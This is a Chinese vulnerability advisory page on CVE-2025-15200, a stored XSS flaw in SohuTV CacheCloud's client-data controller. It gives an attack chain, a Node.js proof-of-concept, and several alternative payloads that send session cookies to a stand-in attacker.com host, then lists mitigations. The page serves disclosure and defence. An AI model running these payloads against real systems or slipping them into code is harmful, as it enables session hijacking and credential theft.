IPBUF安全漏洞报告
English
CVE-2025-15200 CVSS 2.4 低危

CVE-2025-15200 SohuTV CacheCloud跨站脚本漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15200
漏洞类型
XSS跨站脚本
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

XSS跨站脚本存储型XSSSohuTV CacheCloudRedis缓存管理Web应用漏洞CVE-2025-15200

漏洞概述

CVE-2025-15200是搜狐TV CacheCloud系统中存在的一个存储型跨站脚本(Stored XSS)漏洞。CacheCloud是搜狐公司开源的Redis缓存集群管理平台,广泛应用于企业内部缓存服务管理。该漏洞影响CacheCloud 3.2.0及以下所有版本,存在于Web控制器的多个数据展示功能中。攻击者通过在特定参数中注入恶意JavaScript代码,当其他用户访问相关页面时,恶意脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取或进一步的攻击。由于该漏洞需要高权限用户操作且需要用户交互才能触发,因此CVSS评分较低,但仍可能被恶意内部人员利用造成安全风险。漏洞已于2025年12月29日公开披露,项目方尚未对此做出响应。

技术细节

该漏洞位于项目文件src/main/java/com/sohu/cache/web/controller/AppClientDataShowController.java中的多个控制器方法:getExceptionStatisticsByClient、getCommandStatisticsByClient和doIndex。这些方法在处理用户输入数据后,直接将数据渲染到Web页面而未进行充分的输入验证和输出编码。攻击者(需要高权限)可以通过这些接口注入包含恶意JavaScript代码的请求参数。当其他低权限用户访问这些数据展示页面时,浏览器会解析并执行注入的恶意脚本。由于是存储型XSS,恶意代码会持久化在系统中,影响所有访问相关页面的用户。攻击向量为网络形式,认证要求为高权限用户,但一旦触发可影响所有访问相关页面的用户。攻击者可能利用此漏洞窃取用户会话Cookie、伪造用户操作或进行进一步的内网渗透。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为SohuTV CacheCloud,并确定版本号<=3.2.0
STEP 2
步骤2: 认证获取
攻击者获取CacheCloud系统的高权限账户凭据(管理员或运维人员账号)
STEP 3
步骤3: 漏洞探测
访问/appClientDataShow/getExceptionStatisticsByClient等端点,测试XSS过滤机制
STEP 4
步骤4: 恶意代码注入
通过clientId等参数注入恶意JavaScript代码,如<script>标签或事件处理器
STEP 5
步骤5: 等待触发
存储型XSS已写入数据库,等待其他用户访问相关数据展示页面
STEP 6
步骤6: 凭证窃取
当受害者访问页面时,恶意脚本执行并将Cookie/Session信息发送到攻击者服务器
STEP 7
步骤7: 会话劫持
攻击者使用窃取的凭证进行会话劫持,执行未授权操作或进一步内网渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-15200 PoC - Stored XSS in SohuTV CacheCloud // Target: CacheCloud <= 3.2.0 // Endpoint: /appClientDataShow/getExceptionStatisticsByClient or similar const axios = require('axios'); const target = 'http://target-cachecloud-server:8080'; const loginUrl = `${target}/login`; const exploitUrl = `${target}/appClientDataShow/getExceptionStatisticsByClient`; // XSS Payload const xssPayload = '<script>document.location="http://attacker.com/log?c="+document.cookie</script>'; async function exploit() { // Step 1: Login with high privilege account const loginResponse = await axios.post(loginUrl, { username: 'admin', password: 'admin123' }); const cookies = loginResponse.headers['set-cookie']; // Step 2: Inject XSS payload through vulnerable parameter await axios.get(exploitUrl, { params: { appId: '1', clientId: xssPayload, // XSS injection point timeRange: '24h' }, headers: { 'Cookie': cookies } }); console.log('XSS payload injected successfully'); console.log('When other users visit the page, cookies will be stolen'); } exploit().catch(console.error); /* Alternative XSS Payloads: 1. <img src=x onerror="fetch('http://attacker.com/?'+document.cookie)"> 2. <svg/onload=fetch('http://attacker.com/?'+btoa(document.cookie))> 3. <iframe src="javascript:alert(document.domain)"> */

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
在项目方发布官方修复补丁前,可采取以下临时缓解措施:1)限制CacheCloud管理后台的访问权限,仅允许可信IP访问;2)对Web控制器中的所有输出内容进行HTML实体编码转义;3)部署Web应用防火墙(WAF)规则拦截常见的XSS攻击向量;4)监控和审查访问日志,及时发现异常请求模式;5)对管理员进行安全意识培训,提醒不要点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表